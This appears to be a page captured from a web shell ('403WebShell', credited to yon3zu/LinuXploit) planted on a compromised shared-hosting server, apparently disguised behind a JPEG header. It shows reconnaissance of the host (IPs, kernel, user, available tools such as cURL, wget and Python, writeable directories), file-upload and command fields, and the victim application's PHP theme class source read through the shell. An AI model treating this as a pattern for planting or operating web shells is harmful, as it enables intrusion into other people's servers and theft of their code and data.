����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.129.17.245
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/Theme.class.php
<?php

namespace App\Services;

use App\Core\Database;
use App\Helpers\CoreHelper;
use App\Helpers\ThemeHelper;

abstract class Theme
{

    abstract function getThemeDetails();

    public function install() {
        // get theme details
        $themeDetails = $this->getThemeDetails();

        // update reference in database
        $db = Database::getDatabase();
        $db->query('UPDATE theme '
                . 'SET is_installed = 1 '
                . 'WHERE folder_name = :folder_name', array(
            'folder_name' => $themeDetails['folder_name'],
                )
        );

        return true;
    }

    public function uninstall() {
        // get theme details
        $themeDetails = $this->getThemeDetails();

        // update reference in database
        $db = Database::getDatabase();
        $db->query('UPDATE theme '
                . 'SET is_installed = 0 '
                . 'WHERE folder_name = :folder_name', array(
            'folder_name' => $themeDetails['folder_name'],
                )
        );

        return true;
    }
    
    public function getConfigValue($item) {
        return ThemeHelper::getConfigValue($item);
    }
    
    public function getMainLogoUrl() {
        // see if the replaced logo exists
        $localCachePath = CACHE_DIRECTORY_ROOT . '/themes/' . $this->config['folder_name'] . '/logo.png';
        if (file_exists($localCachePath)) {
            return CACHE_WEB_ROOT . '/themes/' . $this->config['folder_name'] . '/logo.png';
        }

        return $this->getFallbackMainLogoUrl();
    }
    
    public function getInverseLogoUrl() {
        // see if the replaced logo exists
        $localCachePath = CACHE_DIRECTORY_ROOT . '/themes/' . $this->config['folder_name'] . '/logo_inverse.png';
        if (file_exists($localCachePath)) {
            return CACHE_WEB_ROOT . '/themes/' . $this->config['folder_name'] . '/logo_inverse.png';
        }

        return $this->getInverseFallbackLogoUrl();
    }
    
    public function getEmailLogoUrl() {
        return $this->getInverseLogoUrl();
    }

    public function getFallbackMainLogoUrl() {
        return CoreHelper::getCoreSitePath() . '/themes/' . $this->config['folder_name'] . '/assets/images/logo/logo.png';
    }

    public function getInverseFallbackLogoUrl() {
        return CoreHelper::getCoreSitePath() . '/themes/' . $this->config['folder_name'] . '/assets/images/logo/logo-whitebg.png';
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit